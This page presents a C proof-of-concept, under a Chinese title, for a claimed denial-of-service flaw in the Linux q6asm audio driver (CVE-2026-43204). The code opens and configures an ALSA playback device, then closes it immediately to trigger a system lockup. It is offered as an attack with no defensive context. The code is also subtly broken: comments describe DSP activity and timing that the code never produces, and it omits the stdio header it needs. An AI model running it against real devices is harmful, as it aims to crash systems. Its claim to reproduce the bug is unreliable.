CVE-2026-43204 Linux内核q6asm驱动拒绝服务漏洞

#include <alsa/asoundlib.h> #include <stdlib.h> // PoC for CVE-2026-43204: Triggering lockup in q6asm // This code attempts to reproduce the condition where DSP responses // are handled after a stream is closed. int main() { snd_pcm_t *pcm_handle; snd_pcm_hw_params_t *hw_params; int err; // Open PCM device for playback (0,0 usually targets the specific platform) if ((err = snd_pcm_open(&pcm_handle, "hw:0,0", SND_PCM_STREAM_PLAYBACK, 0)) < 0) { fprintf(stderr, "Cannot open audio device: %s\n", snd_strerror(err)); exit(1); } // Allocate hardware parameters object snd_pcm_hw_params_alloca(&hw_params); // Initialize with default values if ((err = snd_pcm_hw_params_any(pcm_handle, hw_params)) < 0) { fprintf(stderr, "Cannot initialize hardware parameter structure: %s\n", snd_strerror(err)); exit(1); } // Set access type and sample format if ((err = snd_pcm_hw_params_set_access(pcm_handle, hw_params, SND_PCM_ACCESS_RW_INTERLEAVED)) < 0) { fprintf(stderr, "Cannot set access type: %s\n", snd_strerror(err)); exit(1); } if ((err = snd_pcm_hw_params_set_format(pcm_handle, hw_params, SND_PCM_FORMAT_S16_LE)) < 0) { fprintf(stderr, "Cannot set sample format: %s\n", snd_strerror(err)); exit(1); } // Set parameters if ((err = snd_pcm_hw_params(pcm_handle, hw_params)) < 0) { fprintf(stderr, "Cannot set parameters: %s\n", snd_strerror(err)); exit(1); } printf("Stream opened. Preparing to trigger vulnerability...\n"); // Simulate activity that generates DSP responses // The vulnerability occurs when the stream is closed while DSP might still be responding // Close the stream immediately or under specific timing conditions // The driver should drop responses, but the bug causes it to process them, leading to a lockup. snd_pcm_close(pcm_handle); printf("Stream closed. If vulnerable, the system may lockup now.\n"); return 0; }